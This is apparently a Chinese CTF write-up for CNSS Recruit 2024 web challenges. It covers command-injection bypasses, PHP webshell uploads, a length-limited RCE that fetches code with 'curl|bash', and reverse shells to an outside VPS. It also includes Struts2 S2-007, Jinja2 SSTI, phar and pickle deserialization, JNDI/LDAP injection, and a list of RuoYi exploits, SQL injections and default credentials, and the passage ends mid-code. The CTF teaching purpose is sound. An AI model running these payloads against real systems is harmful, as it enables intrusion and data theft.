CNSS Recruit 2024 Web方向 题解WriteUp
Jay17 CTF 681浏览 · 2024-09-05 08:04

babyHTTP

开题,Http传参问题

GET:
?CNSS=hackers

POST:
web=fun

Cookie:
admin=true

PHPinfo

开题

根据题目描述,猜测phpinfo.php文件有东西。

phpinfo里面包含了php环境绝大部分信息,当然也有flag

我得再快点

开题,一秒一遍,写自动化脚本吧

脚本思路:

获取key,md5加密,发送到/check?value=

from selenium import webdriver
from selenium.webdriver.common.by import By
import hashlib
import requests
import time

# 定义要请求的URL
url = 'http://152.136.11.155:10103/'
url_check = 'http://152.136.11.155:10103/check'

# 定义定时刷新的时间间隔(以秒为单位)
refresh_interval = 1  # 1秒


def get_key():
    try:
        driver.get(url)
        time.sleep(1)  # 等待页面加载
        key_element = driver.find_element(By.XPATH, "//p[contains(text(),'Key :')]")
        key_text = key_element.text
        key = key_text.split('Key : ')[1]
        return key
    except Exception as e:
        print(f"Failed to fetch key from page: {e}")
        return None


def md5_encrypt(key):
    md5_hash = hashlib.md5()
    md5_hash.update(key.encode('utf-8'))
    return md5_hash.hexdigest()


def send_encrypted_key(encrypted_key):
    try:
        response = requests.get(url_check, params={'value': encrypted_key})
        response.raise_for_status()
        print(f"Response from /check: {response.text}")
    except requests.RequestException as e:
        print(f"Failed to send encrypted key: {e}")


if __name__ == "__main__":
    driver = webdriver.Chrome()
    try:
        while True:
            key = get_key()
            print(key)
            if key:
                encrypted_key = md5_encrypt(key)
                send_encrypted_key(encrypted_key)
            time.sleep(refresh_interval)
    finally:
        driver.quit()

Ping

开题,是自动ping一个ip然后返回结果

nl2br是一个格式整理函数,在字符串中的新行(\n)之前插入换行符

这个ping函数查不到,应该是自定义函数。这题感觉猜测是在函数内部执行了ping命令,应该是用分隔符去截断做。

分隔符被过滤了|;&还能用%0a

ip=127.0.0.1%0als

控股也被过滤了,用%09也就是tab绕过,读一下源码

ip=127.0.0.1%0acat%09index.php
<?php
function validate_input($input) {
    $invalid_chars = array("sh","bash","chown"," ", "chmod", "echo", "+", "&",";", "|", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]");
    foreach ($invalid_chars as $invalid_char) {
        if (strpos($input, $invalid_char) !== false) {
            return false;
        }
    }

    if (preg_match("/.*f.*l.*a.*g.*/", $input)) {
        return false;
    }

    return true;
}

function ping($ip_address) {
    if (!validate_input($ip_address)) {
        return "Error: Invalid input.";
    }

    $cmd = "ping -c 2 " .$ip_address;
    exec($cmd, $output, $return_code);


    if ($return_code !== 0) {
        echo("Error: Failed to execute command.");
    }

    return implode("\n", $output);
}

if (isset($_POST['ip'])) {
    $ip = $_POST['ip'];
    $ping_result = ping($ip);
    echo nl2br($ping_result); // 输出ping结果并保留换行
}
?>

payload:

ip=127.0.0.1%0acat%09/f*

linux常用命令合集:

ls   ##查看目录
ls /  ##列出根目录(\)下的所有目录:
echo `tac% fla*`;   ##反字节符
cp fl*g.php a.txt   ##将flag.php拷贝到a.txt
cd ..或者cd ../   ##达到访问上一个目录的目的##../和~/是目录跳转符
tac   ##tac flag 反序输出文件内容
cat   ##
tac /flag   ##抓在根目录的flag
find / -name fla*   ##找到文件名匹配fla*的文件
tac/cat $(find / -name fla*)   ##打印所有文件名匹配fla*的文件
find /html/WWW/ -name fla*  :在某目录下查找包含fla*的文件
find / -type f -exec grep -Hn "flag{" {} \;
dir /   查看根目录
find / -user root -perm -4000 -print 2>/dev/null   #查看suid权限文件
---------------------------------------------------------------------
mv fl?g.php 1.txt   ##将flag.php改名为1.txt
cp fla?.??? 1.txt      ##将flag.php复制给1.txt
nl flag.php>x.txt
tee file1.txt file2.txt //复制文件
tac /f149_15_h3r3|tee 2

awk '/xxx/' fla?.php   ##输出flag文件中包含字符xxx的行
awk '/xxx/{print}' fla?.php  ##输出flag文件中包含字符xxx的行

?c=grep 'ctfshow' flag.php
(在 fl???php匹配到的文件中,查找含有ctfshow的文件,并打印出包含 ctfshow 的这一行)

cat `ls`    ##直接将当前目录下所有文件打印出来,先执行反引号
#cat `ls`->cat 当前所有文件名->当前目录下所有文件打印出来

system("cat flag.php|base64") //把flagbase64编码后输出system("base64 flag.php") //把flagbase64编码后输出
--------------------------------------------------------------------
在linux中与cat有类似功能的有如下字符
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、awk
more:一页一页的显示档案内容    more flag.php
less:与 more 类似   less flag.php
head:查看头几行  head flag.php
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行  tail flag.php
nl:显示的时候,顺便输出行号  nl flag.php   
od:以二进制的方式读取档案内容  od flag.php
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看     sort flag.php
uniq:可以查看
file -f:报错出具体内容
rev:将文件倒序输出。
strings:strings flag.php

grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
-----------------------------------------------------------------------

CNSS娘の宠物商店

开题,需要登录。(前端好看

模糊字典测一下,发现登录处存在sql注入。

结合题目描述猜测是用万能密码进行登录。

2048

一眼前端游戏题

ban了 F12、Ctrl+U。鼠标表点击谷歌开发者工具就行。

源代码里面搜索alert、score、flag、cnss。有score也就是记录分数的变量。

开启一局游戏,随便玩几下

然后控制台输入score=9999999999999999999999修改分数

点击flag拿flag。

看得出来flag是alert出来的,源码看看flag如何出来的

有一个getflag函数,进行了加密(混淆)

换个头像先

应该是个文件上传。开题需要登录

注册个账号然后登录

更换头像,抓包。前端限制了后缀,上传个jpg后缀的php木马上去

改成php后缀

没给上传到哪的路径,不急,Ctrl+U前端源码看看

点击访问

已经tac到了flag

can can need shell

开题,直接给了源码

是个文件上传,后缀和内容均有过滤。题目没有上传按钮,应该是我自己写一个html表单上传,注意name="uploaded_file"

<form action="http://152.136.11.155:10108/" enctype="multipart/form-data" method="post" >

    <input name="uploaded_file" type="file" />
    <input type="submit" type="gogogo!" />

</form>

抓个包慢慢调,后缀是php确定了,其他后缀不解析,看看内容怎么绕过滤

内容过滤是这些:

$dangerous = array('eval',"[","]","`","*","+","|","url","flag","{","}","@","(",")");

呜,过滤了括号我很难做阿,难做那就别做了(bushi

首要思路是找个可以不用括号的函数,看下图你应该懂我意思了吧

include不用括号也行,同时只包含内容不管后缀即文件种类

那我们上传一个带马的jpg。

------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.jpg"
Content-Type: application/octet-stream

<?php eval($_POST[1]);echo 'include success!!!'?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--

然后上传一个php去包含之前的jpg

------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.php"
Content-Type: application/octet-stream

<?php
include '../a3a3ba08c46190b5eb693450637552d5/c8f8f62b73b118b60546893b80b08a48.jpg';
echo 'this is include';
?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--

访问一下,从echo来看包含成功了,getshell就行

此外还有一个payload,上传一个文件就行:

<?php 
include"php://filter/convert.base64-encode/resource=/fl"."ag";

EZRCCCCE

开题,直接给了源码

<?php
highlight_file(__FILE__);
$sandbox = './sandbox/' . md5("Th1s_is_4_sandbox" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
function filter($a){
    $a = preg_replace("/(flag|\*|\/|cat|php|bash|txt|tac)/i", "hehehehe", $a);
    return $a;}
if (isset($_GET['6']) && strlen($_GET['6']) < 8) {   //try to keep fit!
    echo(exec(filter($_GET['6'])));
}
?>

限制了输入的长度、具备少量WAF。

WAF绕过不难,最容易想到的就是同义替换或者base64

主要是思考如何突破长度限制

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \,可以将一条命令写在多行
比如我们有一个test文件内容如下:

ec\
ho \
hello \
world!

然后我们用sh命令来执行一下,成功输出了 hello world

sh test

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

touch a
touch b
touch c
ls -t

ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件

ls -t>test
cat test

> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _

这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令,就会出现下面这种情况:

输入通配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id 
>root
*

讲清楚原理后开始做题。

pwd查看当前可写入的目录

#写入语句
<?php eval($_GET[1]);

#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7

#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

依次输入:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
nl 0
sh 0

或者:

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

脚本:

import requests

url = "http://152.136.11.155:10109/?6={0}"
cookies = {"PHPSESSID": "1be0406b25e76622ec8aece860d13e82"}  # 添加PHPSESSID cookie

print("[+] Start attack!!!")
with open("results.txt", "r") as f:
    for i in f:
        print("[*] " + url.format(i.strip()))
        requests.get(url.format(i.strip()), cookies=cookies)  # 传入cookies

# 检查是否攻击成功
test = requests.get("http://152.136.11.155:10109/sandbox/85323d93cc57664e7b283ecce923a707/1.php", cookies=cookies)  # 传入cookies
if test.status_code == requests.codes.ok:
    print("[*] Attack success!!!")

访问/sandbox/85323d93cc57664e7b283ecce923a707/1.php?1=system('ls /');getshell


结尾再放一下其他的payload:

空格需要转义

>\ \\

构造空格就用去了五个字符,反弹shell语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/124.71.147.99/1717 0>&1

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后

参考以下脚本写法:

#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="

s = requests.session()

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]
# curl 120.79.33.253|bash
list2=[
    ">bash",
    ">\|\\",
    ">53\\",
    ">2\\",
    ">3.\\",
    ">3\\",
    ">9.\\",
    ">7\\",
    ">0.\\",
    ">12\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
for i in list:
    url = baseurl+str(i)
    s.get(url)
for j in list2:
    url = baseurl+str(j)
    s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

Tomcat?cat~

估计是java题,开题

源码发现是struts2的漏洞

结合登录框特征,应该是S2-007,在age处注入Payload

/user.action
POST:
name=&email=&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%29+%2B+%27

flag在/usr/local/tomcat/webapps/flaaaaaaag/flag.jsp

newsql

开题,id应该是注入点了

存在过滤

模糊测试测一下,响应大小为7的都是被过滤的

过滤如下

;
select
union
where
order
having

闭合为空,数字型

/?id=1 and 1=1--+
/?id=1 and 1=2--+

MYSQL8.0新特性注入

Pwnhub2021七月赛NewSql(mysql8注入)_mysql8.0新特性注入ctf-CSDN博客

MYSQL8.0注入新特性 - 先知社区 (aliyun.com)

【网安干货】MySQL8新特性注入技巧_mysql8.0.19还是8.0.21-CSDN博客

先手动盲注一下,可行

?id=1 and substr((database()),1,4)='cnss'
?id=1 and ((binary'mysqk','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/0,1))#

where is my unserialize?

开题,三个功能点:

文件读取

文件上传

可读取文件:

index.php

base.php

function.php

class.php

upload_file.php

file.php

upload_file.php有文件上传,file.php可以文件读取,class.php有恶意类。

phar反序列化包包的。

class.php

<?php
class CNSS
{
    public $shino;
    public $shin0;
    public $name;
    public function __construct($name)
    {
        $this->name=$name;
    }

    public function __wakeup()
    {
        $this->shin0 = 'cnss';
        $this->_sayhello();
    }
    public function _sayhello()
    {
        echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');
    }


    public function __destruct()
    {
        $this->shin0 = $this->name;
        echo $this->shin0.'<br>';
    }
}



class CN55
{
    public $source;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __invoke()
    {
        return $this->_get('key');
    }
    public function _get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

class Show
{


    public $key;
    public $haha;

    public function __construct($file)
    {
        $this->key = $file;
        echo $this->key.'<br>';
    }
    public function __toString()
    {
        $func = $this->haha['hehe'];
        return $func();
    }
    public function __call($key,$value)
    {
        $this->$key = $value;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('<h1>hackerrrrrr!<br>join CNSS~<h1>');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {   //Do you know 'Php ARchive'?
            echo "hacker~";
            $this->source = "index.php";
        }
    }

}
?>

反序列化链:

CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)

生成phar:

<?php
class CNSS
{
    public $shino;
    public $shin0;
    public $name;
    public function __construct($name)
    {
        $this->name=$name;
    }

    public function __wakeup()
    {
        $this->shin0 = 'cnss';
        $this->_sayhello();
    }
    public function _sayhello()
    {
        echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');
    }


    public function __destruct()
    {
        $this->shin0 = $this->name;
        echo $this->shin0.'<br>';
    }
}





class CN55
{
    public $source;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __invoke()
    {
        return $this->_get('key');
    }
    public function _get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

class Show
{
    public $key;
    public $haha;

    public function __construct($file)
    {
        $this->key = $file;
        echo $this->key.'<br>';
    }
    public function __toString()
    {
        $func = $this->haha['hehe'];
        return $func();
    }

    public function __call($key,$value)
    {
        $this->$key = $value;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('<h1>hackerrrrrr!<br>join CNSS~<h1>');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {   //Do you know 'Php ARchive'?
            echo "hacker~";
            $this->source = "index.php";
        }
    }

}


//CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)

$Jay17=new Show('j47');
$a=new CNSS($Jay17);
$Jay17->haha['hehe']=new CN55();
$Jay17->haha['hehe']->params['key']='file:///var/www/html/f1ag.php';


//删除原来的phar包,防止重复
//@unlink("xxx.phar");
//后缀名必须为phar
$phar = new Phar("xxx.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将自定义的meta-data存入manifest
$phar->setMetadata($a);
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
echo "done.";

修改后缀后上传

翻翻源码看一下上传文件的存储位置。phar协议解析就行。

/file.php?file=phar:///var/www/html/upload/a976285aa6d6096e9edd17db289a73a9.jpg

CNSS娘の聊天室

开题,输入什么输出什么,怀疑是SSTI

后端是python,测一下Jinja2

{{7*7}}

还真有

试一试最原始的payload。看看是不是上过滤了

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

发现英文被过滤了。。。只过滤了26个字母,英文符号没事

思路是用八进制代替英文字母,unicode和十六进制都会有英文出现。

原始payload:

{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

转八进制

.__class__转为['XXXXXX']
[0]不动
()不动
['eval']转为['XXXXXX']
('__import__("os").popen("ls /").read()')转为('XXXXXX')

payload:

{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\154\163\040\057\042\051\056\162\145\141\144\050\051')}}

读取flag

{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\143\141\164\040\057\146\061\061\061\061\061\061\061\061\061\061\061\061\061\061\061\064\147\056\164\170\164\042\051\056\162\145\141\144\050\051')}}

没有人比我更懂RuoYi

看题目描述,若依的版本是v4.7.7,屏蔽定时任务bean违规的字符但是没屏蔽干净,造成了漏洞。

尝试了一下4.7.6 版本 任意文件下载漏洞,已经失效了。

参考文章:

若依4.7.8版本计划任务rce复现_若依计划任务rce-CSDN博客

POC/RuoYi/RUOYI-v4.7.8存在远程代码执行漏洞.md at main · wy876/POC · GitHub

这题有师傅写wp了,写的很好:ruoyi-v4.7.8-RCE分析 - EddieMurphy's blog (eddiemurphy89.github.io)

开始做题。

==第一步是计划任务sql注入==

先验证一下4.7.8计划任务sql注入

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'test~' WHERE job_id = 1;')

payload中的sql语句以及被执行,作用是修改id为1的计划任务的值为test~。验证成功

==第二步是计划任务命令执行==

开启监听验证漏洞 payload:

javax.naming.InitialContext.lookup('ldap://124.71.147.99:1717')

将上面的payload进行十六进制编码:

0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729

将编码后的payload带入下面的payload中:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729 WHERE job_id = 2;')

上面payload的作用是利用之前的sql注入漏洞,修改job_id为2的计划任务内容,将该计划任务执行的命令改为我们构造好的payload。

更多操作->执行一次id为2的任务,收到监听

rce可行。我们接下来使用JNDI反弹shell。

先下好工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 124.71.147.99

javax.naming.InitialContext.lookup('ldap://124.71.147.99:1389/remoteExploit8')
0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729 WHERE job_id = 3;')

结尾列一下若依的历史漏洞

一、默认密钥导致Shiro反序列化

版本:RuoYi<V-4.6.2

payload:

路由/login,工具一把梭
RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。
获取利用连,可爆破可指定
RuoYi-4.2可用利用链为CommonsBeanutilString 这条链
4.2版本及以上需要使用GCM模式
RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。
RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

二、SSTI(模板注入)漏洞

版本:RuoYi=V-4.7.1

payload:

路由:(四个都行,需要有效的身份Cookie)
/monitor/cache/getName
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task

POST:cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}

三、SQL注入-注入点1 /system/role/list

版本:RuoYi<V-4.6.2

payload:

POST:

可用报错注入查询用户: &params[dataScope]=and extractvalue(1,concat(0x7e,substring((select user()),1,32),0x7e))

报错查询数据库: &params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

时间盲注查询用户: &params[dataScope]=and if(substring((select user()),1,4)=’root’,sleep(0.5),1)

四、SQL注入-注入点2 /system/role/export

版本:RuoYi<V-4.6.2

payload:

&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

五、SQL注入-注入点3 /system/user/list

版本:RuoYi<V-4.6.2

payload:

&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

六、SQL注入-注入点4 /system/user/list

版本:RuoYi<V-4.6.2

payload:

&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

七、SQL注入-注入点5 /system/dept/list

版本:RuoYi<V-4.6.2

payload:

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

八、SQL注入-注入点6 /system/role/authUser/allocatedList

版本:RuoYi<V-4.6.2

payload:

&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

九、SQL注入-注入点7 /system/role/authUser/unallocatedList

版本:RuoYi<V-4.6.2

payload:

&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

十、SQL注入-注入点8 /system/dept/edit

版本:RuoYi<V-4.6.2

payload:

DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

时间盲注: &ancestors=0)or(sleep(1));#

十一、SQL注入-注入点9 /tool/gen/createTable

版本:V-4.7.1<RuoYi<V-4.7.5

payload:

POST:

sql=CREATE table a1 as SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));

sql=CREATE table a1 as SELECT * FROM sys_user WHERE 1=1 union SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));

十二、默认口令

版本:全版本

payload:

很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。
不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除。
RuoYi默认口令:admin/admin123、ry/admin123。
druid控制台:ruoyi/123456

十三、任意文件下载

版本:RuoYi<V-4.5.1

payload:

/common/download/resource?resource=/profile/../../../../etc/passwd

十四、定时任务绕过达到任意文件下载

版本:RuoYi<V-4.7.7

payload:

POST /monitor/job/add HTTP/1.1

Host: 192.168.31.246

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 158

Origin: http://192.168.31.246

Connection: close

Referer: http://192.168.31.246/monitor/job/add

Cookie: JSESSIONID=ac631b0e-b929-4497-b477-52fca9a24bf2

createBy=admin&jobName=AAA&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('C://windows/win.ini')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=2&concurrent=1&status=0&remark=
通过接口下载文件:
http://localhost/common/download/resource?resource=.jpg
http://localhost/common/download/resource?resource=Info.xml:.zip

十五、定时任务远程RCE

版本:RuoYi<V-4.7.2

见:RuoYi历史漏洞 | 高木のBlog (takake.com)

CNSS娘のFlag商店

开题,/code路由下载源码

NAME = "Rich"
MONEY = 2000

def reset():
    global NAME, MONEY
    NAME = "Rich"
    MONEY = 2000
# encoding: utf-8
import os
import pickle

import buyInfo
import flask

app = flask.Flask(__name__)
flag = os.environ.get('FLAG')


class Hi():
    def __init__(self, name, money):
        self.name = name
        self.money = money

    def __eq__(self, other):
        return self.name == other.name and self.money == other.money


@app.route('/')
def index():
    user = flask.request.args.get('user')
    if user is None:
        return 'View code in /code to buy flag.'
    if 'R' in user.upper():
        return '臭要饭的别挡我财路'

    user = pickle.loads(user.encode('utf-8'))
    print(user.name, user.money)
    print(buyInfo.NAME,  buyInfo.MONEY)
    if user == Hi(buyInfo.NAME,  buyInfo.MONEY):
        buyInfo.reset()
        return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'

    return '臭要饭的别挡我财路'


@app.route('/code')
def code():
    file = 'code.zip'
    return flask.send_file(file, mimetype='application/zip')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

核心代码是这段:

@app.route('/')
def index():
    user = flask.request.args.get('user')
    if user is None:
        return 'View code in /code to buy flag.'
    if 'R' in user.upper():
        return '臭要饭的别挡我财路'

    user = pickle.loads(user.encode('utf-8'))
    print(user.name, user.money)
    print(buyInfo.NAME,  buyInfo.MONEY)
    if user == Hi(buyInfo.NAME,  buyInfo.MONEY):
        buyInfo.reset()
        return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'

    return '臭要饭的别挡我财路'

pickle.loads()函数是漏洞点,pickle反序列化。其实有pickle反序列化直接弹shell就行,但是这里根着题目意思来。

__eq__(self, other)方法在Python中是一个特殊的方法,用于定义当使用等号运算符(==)比较两个类的实例时的行为。

如果你在类中实现了__eq__方法,那么你就告诉Python,应该如何判断两个该类的实例是否相等。默认情况下,如果你没有定义__eq__,两个类的实例只有在它们是内存中同一个对象时(即具有相同的身份)才会被认为是相等的。但是,如果你想根据某些属性来判断两个实例是否相等,就需要定义__eq__方法。

Hi类中,__eq__方法的定义如下:

def __eq__(self, other):
    return self.name == other.name and self.money == other.money

这个方法用于比较两个Hi类的实例(selfother)。它检查两个实例的namemoney属性是否相等。如果它们都相等,则方法返回True,表示这两个实例是相等的。否则,返回False

举个例子:

person1 = Hi("Alice", 100)
person2 = Hi("Alice", 100)
person3 = Hi("Bob", 200)

print(person1 == person2)  # 这将打印True,因为name和money属性都相等
print(person1 == person3)  # 这将打印False,因为name或money属性不相等

因此,__eq__方法实际上是实现用户在自定义比较Hi类的实例时,实现==运算符的含义。

这题和自助商店一样可以直接打RCE。

POC:(记得在linux下执行,题目py版本是3.9,尽量一致)

import pickle
import os
import base64

class Jay17(object):  # 首字母大写以符合命名惯例
    def __init__(self):
        self.name = "Rich"
        self.money = 2000

e = Jay17()  # 实例化 user 类
poc = pickle.dumps(e)

# 使用 base64 编码
poc_base64 = base64.b64encode(poc)

print(poc_base64.decode('utf-8'))  # 打印 Base64 编码后的字符串

CNSS娘の自助Flag商店

/code路由可以拿到源码

NAME = "Rich"
MONEY = 2000

def reset():
    global NAME, MONEY
    NAME = "Rich"
    MONEY = 2000
# encoding: utf-8
import pickle

import flask
import buyInfo

app = flask.Flask(__name__)
# flag is in /flag.txt


class Hi():
    def __init__(self, name, money):
        self.name = name
        self.money = money

    def __eq__(self, other):
        return self.name == other.name and self.money == other.money


@app.route('/')
def index():
    user = flask.request.args.get('user')
    if user is None:
        return 'View code in /code to buy flag.'
    if 'R' in user.upper():
        return '臭要饭的别挡我财路'

    user = pickle.loads(user.encode('utf-8'))
    if user == Hi(buyInfo.NAME, buyInfo.MONEY):
        buyInfo.reset()
        return '你说得对,但是上次CNSS娘被你骗了之后很伤心,把商店改成了自助flag商店,你得自己找flag'

    return '臭要饭的别挡我财路'


@app.route('/code')
def code():
    file = 'code.zip'
    return flask.send_file(file, mimetype='application/zip')


if __name__ == '__main__':
